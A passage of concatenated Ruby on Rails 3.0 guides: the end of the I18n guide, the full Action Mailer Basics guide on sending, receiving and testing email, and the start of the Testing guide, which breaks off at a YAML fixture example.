If the lookup for the key does not return a Hash suitable for pluralization, an `18n::InvalidPluralizationData` exception is raised.

4.4 Setting and Passing a Locale

The locale can be either set pseudo-globally to `I18n.locale` (which uses `Thread.current` like, e.g., `Time.zone`) or can be passed as an option to `#translate` and `#localize`.

If no locale is passed, `I18n.locale` is used:

```
I18n.locale = :de
I18n.t :foo
I18n.l Time.now
```

Explicitly passing a locale:

```
I18n.t :foo, :locale => :de
I18n.l Time.now, :locale => :de
```

The `I18n.locale` defaults to `I18n.default_locale` which defaults to :en. The default locale can be set like this:

```
I18n.default_locale = :de
```

4.5 Using Safe HTML Translations

Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.

```
# config/locales/en.yml
en:
  welcome: <b>welcome!</b>
  hello_html: <b>hello!</b>
  title:
    html: <b>title!</b>

# app/views/home/index.html.erb
<div><%= t('welcome') %></div>
<div><%= raw t('welcome') %></div>
<div><%= t('hello_html') %></div>
<div><%= t('title.html') %></div>
```

5 How to Store your Custom Translations

The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2]

For example a Ruby Hash providing translations can look like this:

```
{
  :pt => {
    :foo => {
      :bar => "baz"
    }
  }
}
```

The equivalent YAML file would look like this:

```
pt:
  foo:
    bar: baz
```

As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz".

Here is a "real" example from the Active Support `en.yml` translations YAML file:

```
en:
  date:
    formats:
      default: "%Y-%m-%d"
      short: "%b %d"
      long: "%B %d, %Y"
```

So, all of the following equivalent lookups will return the `:short` date format `"%B %d"`:

```
I18n.t 'date.formats.short'
I18n.t 'formats.short', :scope => :date
I18n.t :short, :scope => 'date.formats'
I18n.t :short, :scope => [:date, :formats]
```

Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.

5.1 Translations for Active Record Models

You can use the methods `Model.model_name.human` and `Model.human_attribute_name(attribute)` to transparently look up translations for your model and attribute names.

For example when you add the following translations:

```
en:
  activerecord:
    models:
      user: Dude
    attributes:
      user:
        login: "Handle"
      # will translate User attribute "login" as "Handle"
```

Then `User.model_name.human` will return "Dude" and `User.human_attribute_name("login")` will return "Handle".

5.1.1 Error Message Scopes

Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.

This gives you quite powerful means to flexibly adjust your messages to your application's needs.

Consider a User model with a validation for the name attribute like this:

```
class User < ActiveRecord::Base
  validates :name, :presence => true
end
```

The key for the error message in this case is `:blank`. Active Record will look up this key in the namespaces:

```
activerecord.errors.models.[model_name].attributes.[attribute_name]
activerecord.errors.models.[model_name]
activerecord.errors.messages
errors.attributes.[attribute_name]
errors.messages
```

Thus, in our example it will try the following keys in this order and return the first result:

```
activerecord.errors.models.user.attributes.name.blank
activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank
```

When your models are additionally using inheritance then the messages are looked up in the inheritance chain.

For example, you might have an Admin model inheriting from User:

```
class Admin < User
  validates :name, :presence => true
end
```

Then Active Record will look for messages in this order:

```
activerecord.errors.models.admin.attributes.name.blank
activerecord.errors.models.admin.blank
activerecord.errors.models.user.attributes.name.blank
activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank
```

This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.

5.1.2 Error Message Interpolation

The translated model name, translated attribute name, and value are always available for interpolation.

So, for example, instead of the default error message `"can not be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`.

- `count`, where available, can be used for pluralization if present:

validation	with option	message	interpolation
confirmation	–	:confirmation	-
acceptance	–	:accepted	-
presence	–	:blank	-
length	:within, :in	:too_short	count
length	:within, :in	:too_long	count
length	:is	:wrong_length	count
length	:minimum	:too_short	count
length	:maximum	:too_long	count
uniqueness	–	:taken	-
format	–	:invalid	-
inclusion	–	:inclusion	-
exclusion	–	:exclusion	-
associated	–	:invalid	-
numericality	–	:not_a_number	-

numericality	:greater_than	:greater_than	count
numericality	:greater_than_or_equal_to	:greater_than_or_equal_to	count
numericality	:equal_to	:equal_to	count
numericality	:less_than	:less_than	count
numericality	:less_than_or_equal_to	:less_than_or_equal_to	count
numericality	:odd	:odd	-
numericality	:even	:even	-

5.1.3 Translations for the Active Record `error_messages_for` Helper

If you are using the Active Record `error_messages_for` helper, you will want to add translations for it.

Rails ships with the following translations:

```
en:
  activerecord:
    errors:
      template:
        header:
          one:   "1 error prohibited this %{model} from being saved"
          other: "%{count} errors prohibited this %{model} from being saved"
        body:    "There were problems with the following fields:"
```

5.2 Overview of Other Built-In Methods that Provide I18n Support

Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.

5.2.1 Action View Helper Methods

- `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See **datetime.distance_in_words** translations.
- `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See **date.month_names** for translations. `datetime_select` also looks up the order option from **date.order** (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the **datetime.prompts** scope if applicable.
- The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the **number** scope.

5.2.2 Active Model Methods

- `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the **activerecord.models** scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
- `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
- `ActiveModel::Errors#full_messages` prepends the attribute name to the error message using a separator that will be looked up from **errors.format** (and which defaults to `"%{attribute} %{message}"`).

5.2.3 Active Support Methods

- `Array#to_sentence` uses format settings as given in the **support.array** scope.

6 Customize your I18n Setup

6.1 Using Different Backends

For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" *for Ruby on Rails* [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.

That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:

```
I18n.backend = Globalize::Backend::Static.new
```

You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For

translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend:

```
I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
```

6.2 Using Different Exception Handlers

The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:

```
MissingTranslationData       # no translation was found for the requested key
InvalidLocale                # the locale set to I18n.locale is invalid (e.g. nil)
InvalidPluralizationData     # a count option was passed but the translation data is not suitable for pluralization
MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
ReservedInterpolationKey     # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
UnknownFileType              # the backend does not know how to handle a file type that was added to I18n.load_path
```

The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception's error message string containing the missing key/scope.

The reason for this is that during development you'd usually want your views to still render even though a translation is missing.

In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module:

```
module I18n
  def self.just_raise_that_exception(*args)
    raise args.first
  end
end

I18n.exception_handler = :just_raise_that_exception
```

This would re-raise all caught exceptions including `MissingTranslationData`.

Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method `#t` (as well as `#translate`). When a `MissingTranslationData` exception occurs in this context, the helper wraps the message into a span with the CSS class `translation_missing`.

To do so, the helper forces `I18n#translate` to raise exceptions no matter what exception handler is defined by setting the `:raise` option:

```
I18n.t :foo, :raise => true # always re-raises exceptions from the backend
```

7 Conclusion

At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.

If you find anything missing or wrong in this guide, please file a ticket on our **issue tracker**. If you want to discuss certain portions or have questions, please sign up to our **mailing list**.

8 Contributing to Rails I18n

I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.

Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our **mailing list**!)

If you find your own locale (language) missing from our **example translations data** repository for Ruby on Rails, please ***fork*** the repository, add your data and send a **pull request**.

9 Resources

- **rails-i18n.org** – Homepage of the rails-i18n project. You can find lots of useful resources on the **wiki**.
- **Google group: rails-i18n** – The project's mailing list.
- **Github: rails-i18n** – Code repository for the rails-i18n project. Most importantly you can find lots of **example translations** for Rails that should work for your application in most cases.
- **Github: i18n** – Code repository for the i18n gem.
- **Lighthouse: rails-i18n** – Issue tracker for the rails-i18n project.
- **Lighthouse: i18n** – Issue tracker for the i18n gem.

10 Authors

- **Sven Fuchs** (initial author)
- **Karel Minařík**

If you found this guide useful, please consider recommending its authors on **workingwithrails**.

11 Footnotes

[1] Or, to quote **Wikipedia**: *"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."*

[2] Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.

[3] One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Action Mailer Basics

This guide should provide you with all you need to get started in sending and receiving emails from and to your application, and many internals of Action Mailer. It also covers how to test your mailers.

Chapters

1. Introduction
2. Sending Emails
    - Walkthrough to Generating a Mailer
    - Auto encoding header values
    - Complete List of Action Mailer Methods
    - Mailer Views
    - Action Mailer Layouts
    - Generating URLs in Action Mailer Views
    - Sending Multipart Emails
    - Sending Emails with Attachments
3. Receiving Emails
4. Using Action Mailer Helpers
5. Action Mailer Configuration
    - Example Action Mailer Configuration
    - Action Mailer Configuration for GMail
6. Mailer Testing

This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.

1 Introduction

Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from `ActionMailer::Base` and live in `app/mailers`. Those mailers have associated views that appear alongside controller views in `app/views`.

2 Sending Emails

This section will provide a step-by-step guide to creating a mailer and its views.

2.1 Walkthrough to Generating a Mailer

2.1.1 Create the Mailer

```
$ rails generate mailer UserMailer
create  app/mailers/user_mailer.rb
invoke  erb
create    app/views/user_mailer
invoke  test_unit
create    test/functional/user_mailer_test.rb
```

So we got the mailer, the views, and the tests.

2.1.2 Edit the Mailer

`app/mailers/user_mailer.rb` contains an empty mailer:

```
class UserMailer < ActionMailer::Base
  default :from => "from@example.com"
end
```

end

Let's add a method called `welcome_email`, that will send an email to the user's registered email address:

```
class UserMailer < ActionMailer::Base
  default :from => "notifications@example.com"

  def welcome_email(user)
    @user = user
    @url  = "http://example.com/login"
    mail(:to => user.email, :subject => "Welcome to My Awesome Site")
  end
end
```

Here is a quick explanation of the items presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of Action Mailer user-settable attributes section.

- `default Hash` – This is a hash of default values for any email you send, in this case we are setting the `:from` header to a value for all messages in this class, this can be overridden on a per email basis
- `mail` – The actual email message, we are passing the `:to` and `:subject` headers in.

Just like controllers, any instance variables we define in the method become available for use in the views.

2.1.3 Create a Mailer View

Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This will be the template used for the email, formatted in HTML:

```
<!DOCTYPE html>
<html>
  <head>
    <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
  </head>
  <body>
    <h1>Welcome to example.com, <%= @user.name %></h1>
    <p>
      You have successfully signed up to example.com,
      your username is: <%= @user.login %>.<br/>
    </p>
    <p>
      To login to the site, just follow this link: <%= @url %>.
    </p>
    <p>Thanks for joining and have a great day!</p>
  </body>
</html>
```

It is also a good idea to make a text part for this email, to do this, create a file called `welcome_email.text.erb` in `app/views/user_mailer/`:

```
Welcome to example.com, <%= @user.name %>
===============================================

You have successfully signed up to example.com,
your username is: <%= @user.login %>.

To login to the site, just follow this link: <%= @url %>.

Thanks for joining and have a great day!
```

When you call the `mail` method now, Action Mailer will detect the two templates (text and HTML) and automatically generate a `multipart/alternative` email.

2.1.4 Wire It Up So That the System Sends the Email When a User Signs Up

There are several ways to do this, some people create Rails Observers to fire off emails, others do it inside of the User Model. However, in Rails 3, mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the Email protocols instead. Due to this, it makes sense to just have your controller tell the mailer to send an email when a user is successfully created.

Setting this up is painfully simple.

First off, we need to create a simple `User` scaffold:

```
$ rails generate scaffold user name:string email:string login:string
$ rake db:migrate
```

Now that we have a user model to play with, we will just edit the `app/controllers/users_controller.rb` make it instruct the UserMailer to deliver an email to the newly created user by editing the create action and inserting a call to `UserMailer.welcome_email` right after the user is successfully saved:

```
class UsersController < ApplicationController
  # POST /users
  # POST /users.json
  def create
    @user = User.new(params[:user])

    respond_to do |format|
      if @user.save
        # Tell the UserMailer to send a welcome Email after save
        UserMailer.welcome_email(@user).deliver

        format.html { redirect_to(@user, :notice => 'User was successfully created.') }
        format.json { render :json => @user, :status => :created, :location => @user }
      else
        format.html { render :action => "new" }
        format.json { render :json => @user.errors, :status => :unprocessable_entity }
      end
    end
  end
end
```

This provides a much simpler implementation that does not require the registering of observers and the like.

The method `welcome_email` returns a `Mail::Message` object which can then just be told `deliver` to send itself out.

In previous versions of Rails, you would call `deliver_welcome_email` or `create_welcome_email`. This has been deprecated in Rails 3.0 in favour of just calling the method name itself.

Sending out an email should only take a fraction of a second, but if you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like Delayed Job.

2.2 Auto encoding header values

Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies.

If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and Action Mailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII.

For more complex examples such as defining alternate character sets or self encoding text first, please refer to the Mail library.

2.3 Complete List of Action Mailer Methods

There are just three methods that you need to send pretty much any email message:

- `headers` – Specifies any header on the email you want, you can pass a hash of header field names and value pairs, or you can call `headers[:field_name] = 'value'`

pairs, or you can call headers[:field_name] = 'value'

- `attachments` – Allows you to add attachments to your email, for example `attachments['file-name.jpg'] = File.read('file-name.jpg')`
- `mail` – Sends the actual email itself. You can pass in headers as a hash to the mail method as a parameter, mail will then create an email, either plain text, or multipart, depending on what email templates you have defined.

2.3.1 Custom Headers

Defining custom headers are simple, you can do it one of three ways:

- Defining a header field as a parameter to the `mail` method:

```
mail("X-Spam" => value)
```

- Passing in a key value assignment to the `headers` method:

```
headers["X-Spam"] = value
```

- Passing a hash of key value pairs to the `headers` method:

```
headers {"X-Spam" => value, "X-Special" => another_value}
```

All `X-Value` headers per the RFC2822 can appear more than one time. If you want to delete an `X-Value` header, you need to assign it a value of `nil`.

2.3.2 Adding Attachments

Adding attachments has been simplified in Action Mailer 3.0.

- Pass the file name and content and Action Mailer and the Mail gem will automatically guess the mime_type, set the encoding and create the attachment.

```
attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
```

Mail will automatically Base64 encode an attachment, if you want something different, pre-encode your content and pass in the encoded content and encoding in a `Hash` to the `attachments` method.

- Pass the file name and specify headers and content and Action Mailer and Mail will use the settings you pass in.

```
encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
attachments['filename.jpg'] = {:mime_type => 'application/x-gzip',
                               :encoding => 'SpecialEncoding',
                               :content => encoded_content }
```

If you specify an encoding, Mail will assume that your content is already encoded and not try to Base64 encode it.

2.3.3 Making Inline Attachments

Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.

- Firstly, to tell Mail to turn an attachment into an inline attachment, you just call `#inline` on the attachments method within your Mailer:

```
def welcome
  attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
end
```

- Then in your view, you can just reference `attachments[]` as a hash and specify which attachment you want to show, calling `url` on it and then passing the result into the `image_tag` method:

```
<p>Hello there, this is our image</p>

<%= image_tag attachments['image.jpg'].url %>
```

- As this is a standard call to `image_tag` you can pass in an options hash after the attachment url as you could for

any other image:

```
<p>Hello there, this is our image</p>

<%= image_tag attachments['image.jpg'].url, :alt => 'My Photo',
                                            :class => 'photos' %>
```

2.3.4 Sending Email To Multiple Recipients

It is possible to send email to one or more recipients in one email (for e.g. informing all admins of a new signup) by setting the list of emails to the `:to` key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas.

```
class AdminMailer < ActionMailer::Base
  default :to => Admin.all.map(&:email),
          :from => "notification@example.com"

  def new_registration(user)
    @user = user
    mail(:subject => "New User Signup: #{@user.email}")
  end
end
```

The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the `:cc` and `:bcc` keys respectively.

2.3.5 Sending Email With Name

Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is to format the email address in the format "`Name <email>`".

```
def welcome_email(user)
  @user = user
  email_with_name = "#{@user.name} <#{@user.email}>"
  mail(:to => email_with_name, :subject => "Welcome to My Awesome Site")
end
```

2.4 Mailer Views

Mailer views are located in the `app/views/name_of_mailer_class` directory. The specific mailer view is known to the class because its name is the same as the mailer method. In our example from above, our mailer view for the `welcome_email` method will be in `app/views/user_mailer/welcome_email.html.erb` for the HTML version and `welcome_email.text.erb` for the plain text version.

To change the default mailer view for your action you do something like:

```
class UserMailer < ActionMailer::Base
  default :from => "notifications@example.com"

  def welcome_email(user)
    @user = user
    @url  = "http://example.com/login"
    mail(:to => user.email,
         :subject => "Welcome to My Awesome Site",
         :template_path => 'notifications',
         :template_name => 'another')
  end
end
```

In this case it will look for templates at `app/views/notifications` with name `another`.

If you want more flexibility you can also pass a block and render specific templates or even render inline or text without using a template file:

```
class UserMailer < ActionMailer::Base
  default :from => "notifications@example.com"

  def welcome_email(user)
    @user = user
    @url  = "http://example.com/login"
    mail(:to => user.email,
         :subject => "Welcome to My Awesome Site") do |format|
      format.html { render 'another_template' }
      format.text { render :text => 'Render text' }
    end
  end

end
```

This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as `:text`, `:inline` etc.

2.5 Action Mailer Layouts

Just like controller views, you can also have mailer layouts. The layout name needs to be the same as your mailer, such as `user_mailer.html.erb` and `user_mailer.text.erb` to be automatically recognized by your mailer as a layout.

In order to use a different file just use:

```
class UserMailer < ActionMailer::Base
  layout 'awesome' # use awesome.(html|text).erb as the layout
end
```

Just like with controller views, use `yield` to render the view inside the layout.

You can also pass in a `:layout => 'layout_name'` option to the render call inside the format block to specify different layouts for different actions:

```
class UserMailer < ActionMailer::Base
  def welcome_email(user)
    mail(:to => user.email) do |format|
      format.html { render :layout => 'my_layout' }
      format.text
    end
  end
end
```

Will render the HTML part using the `my_layout.html.erb` file and the text part with the usual `user_mailer.text.erb` file if it exists.

2.6 Generating URLs in Action Mailer Views

URLs can be generated in mailer views using `url_for` or named routes.

Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the `:host`, `:controller`, and `:action`:

```
<%= url_for(:host => "example.com",
            :controller => "welcome",
            :action => "greeting") %>
```

When using named routes you only need to supply the `:host`:

```
<%= user_url(@user, :host => "example.com") %>
```

Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using

named routes only the "_url" variant makes sense.

It is also possible to set a default host that will be used in all mailers by setting the `:host` option as a configuration option in `config/application.rb`:

```
config.action_mailer.default_url_options = { :host => "example.com" }
```

If you use this setting, you should pass the `:only_path => false` option when using `url_for`. This will ensure that absolute URLs are generated because the `url_for` view helper will, by default, generate relative URLs when a `:host` option isn't explicitly provided.

2.7 Sending Multipart Emails

Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have `welcome_email.text.erb` and `welcome_email.html.erb` in `app/views/user_mailer`, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts.

The order of the parts getting inserted is determined by the `:parts_order` inside of the `ActionMailer::Base.default` method. If you want to explicitly alter the order, you can either change the `:parts_order` or explicitly render the parts in a different order:

```
class UserMailer < ActionMailer::Base
  def welcome_email(user)
    @user = user
    @url  = user_url(@user)
    mail(:to => user.email,
         :subject => "Welcome to My Awesome Site") do |format|
      format.html
      format.text
    end
  end
end
```

Will put the HTML part first, and the plain text part second.

2.8 Sending Emails with Attachments

Attachments can be added by using the `attachments` method:

```
class UserMailer < ActionMailer::Base
  def welcome_email(user)
    @user = user
    @url  = user_url(@user)
    attachments['terms.pdf'] = File.read('/path/terms.pdf')
    mail(:to => user.email,
         :subject => "Please see the Terms and Conditions attached")
  end
end
```

The above will send a multipart email with an attachment, properly nested with the top level being `multipart/mixed` and the first part being a `multipart/alternative` containing the plain text and HTML email messages.

3 Receiving Emails

Receiving and parsing emails with Action Mailer can be a rather complex endeavor. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to:

- Implement a `receive` method in your mailer.
- Configure your email server to forward emails from the address(es) you would like your app to receive to `/path/to/app/script/rails runner 'UserMailer.receive(STDIN.read)'`.

Once a method called `receive` is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer `receive` instance method. Here's an example:

```
class UserMailer < ActionMailer::Base
  def receive(email)
    page = Page.find_by_address(email.to.first)
    page.emails.create(
      :subject => email.subject,
      :body => email.body
    )

    if email.has_attachments?
      email.attachments.each do |attachment|
        page.attachments.create({
          :file => attachment,
          :description => email.subject
        })
      end
    end
  end
end
```

4 Using Action Mailer Helpers

Action Mailer now just inherits from Abstract Controller, so you have access to the same generic helpers as you do in Action Controller.

5 Action Mailer Configuration

The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)

`template_root`	Determines the base from which template references will be made.
`logger`	Generates information on the mailing run if available. Can be set to `nil` for no logging. Compatible with both Ruby's own `Logger` and `Log4r` loggers.
`smtp_settings`	Allows detailed configuration for `:smtp` delivery method: • `:address` – Allows you to use a remote mail server. Just change it from its default "localhost" setting. • `:port` – On the off chance that your mail server doesn't run on port 25, you can change it. • `:domain` – If you need to specify a HELO domain, you can do it here. • `:user_name` – If your mail server requires authentication, set the username in this setting. • `:password` – If your mail server requires authentication, set the password in this setting. • `:authentication` – If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.
`sendmail_settings`	Allows you to override options for the `:sendmail` delivery method. • `:location` – The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`. • `:arguments` – The command line arguments to be passed to sendmail. Defaults to `-i -t`.
`raise_delivery_errors`	Whether or not errors should be raised if the email fails to be delivered.
`delivery_method`	Defines a delivery method. Possible values are `:smtp` (default), `:sendmail`, `:file` and `:test`.

`perform_deliveries`	Determines whether deliveries are actually carried out when the `deliver` method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.
`deliveries`	Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.

5.1 Example Action Mailer Configuration

An example would be adding the following to your appropriate `config/environments/$RAILS_ENV.rb` file:

```
config.action_mailer.delivery_method = :sendmail
# Defaults to:
# config.action_mailer.sendmail_settings = {
#   :location => '/usr/sbin/sendmail',
#   :arguments => '-i -t'
# }
config.action_mailer.perform_deliveries = true
config.action_mailer.raise_delivery_errors = true
```

5.2 Action Mailer Configuration for GMail

As Action Mailer now uses the Mail gem, this becomes as simple as adding to your `config/environments/$RAILS_ENV.rb` file:

```
config.action_mailer.delivery_method = :smtp
config.action_mailer.smtp_settings = {
  :address              => "smtp.gmail.com",
  :port                 => 587,
  :domain               => 'baci.lindsaar.net',
  :user_name            => '<username>',
  :password             => '<password>',
  :authentication       => 'plain',
  :enable_starttls_auto => true  }
```

6 Mailer Testing

By default Action Mailer does not send emails in the test environment. They are just added to the `ActionMailer::Base.deliveries` array.

Testing mailers normally involves two things: One is that the mail was queued, and the other one that the email is correct. With that in mind, we could test our example mailer from above like so:

```
class UserMailerTest < ActionMailer::TestCase
  def test_welcome_email
    user = users(:some_user_in_your_fixtures)

    # Send the email, then test that it got queued
    email = UserMailer.welcome_email(user).deliver
    assert !ActionMailer::Base.deliveries.empty?

    # Test the body of the sent email contains what we expect it to
    assert_equal [user.email], email.to
    assert_equal "Welcome to My Awesome Site", email.subject
    assert_match(/<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded)
    assert_match(/Welcome to example.com, #{user.name}/, email.encoded)
  end
end
```

In the test we send the email and store the returned object in the `email` variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect.

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

A Guide to Testing Rails Applications

This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:

- Understand Rails testing terminology
- Write unit, functional and integration tests for your application
- Identify other popular testing approaches and plugins

This guide won't teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.

Chapters

1. Why Write Tests for your Rails Applications?
2. Introduction to Testing
    - The Three Environments
    - Rails Sets up for Testing from the Word Go
    - The Low-Down on Fixtures
3. Unit Testing your Models
    - Preparing your Application for Testing
    - Running Tests
    - What to Include in Your Unit Tests
    - Assertions Available
    - Rails Specific Assertions
4. Functional Tests for Your Controllers
    - What to Include in your Functional Tests
    - Available Request Types for Functional Tests
    - The Four Hashes of the Apocalypse
    - Instance Variables Available
    - A Fuller Functional Test Example
    - Testing Views
5. Integration Testing
    - Helpers Available for Integration Tests
    - Integration Testing Examples
6. Rake Tasks for Running your Tests
7. Brief Note About `Test::Unit`
8. Setup and Teardown
9. Testing Routes
10. Testing Your Mailers
    - Keeping the Postman in Check
    - Unit Testing
    - Functional Testing
11. Other Testing Approaches

1 Why Write Tests for your Rails Applications?

- Rails makes it super easy to write your tests. It starts by producing skeleton test code in the background while you are creating your models and controllers.
- By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
- Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.

2 Introduction to Testing

Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database – and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.

2.1 The Three Environments

Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.

One place you'll find this distinction is in the `config/database.yml` file. This YAML configuration file has 3 different sections defining 3 unique database setups:

- production

- development
- test

This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.

For example, suppose you need to test your new `delete_this_user_and_every_everything_associated_with_it` function. Wouldn't you want to run this in an environment where it makes no difference if you destroy data or not?

When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running `rake db:test:prepare`.

2.2 Rails Sets up for Testing from the Word Go

Rails creates a `test` folder for you as soon as you create a Rails project using `rails new` *application_name*. If you list the contents of this folder then you shall see:

```
$ ls -F test/

fixtures/       functional/     integration/    test_helper.rb  unit/
```

The `unit` folder is meant to hold tests for your models, the `functional` folder is meant to hold tests for your controllers, and the `integration` folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the `fixtures` folder. The `test_helper.rb` file holds the default configuration for your tests.

2.3 The Low-Down on Fixtures

For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.

2.3.1 What are Fixtures?

Fixtures is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume a single format: **YAML**.

You'll find fixtures under your `test/fixtures` directory. When you run `rails generate model` to create a new model, fixture stubs will be automatically created and placed in this directory.

2.3.2 YAML

YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the **.yml** file extension (as in `users.yml`).

Here's a sample YAML fixture file:

```
# lo & behold!  I am a YAML comment!
david:
 name: David Heinemeier Hansson
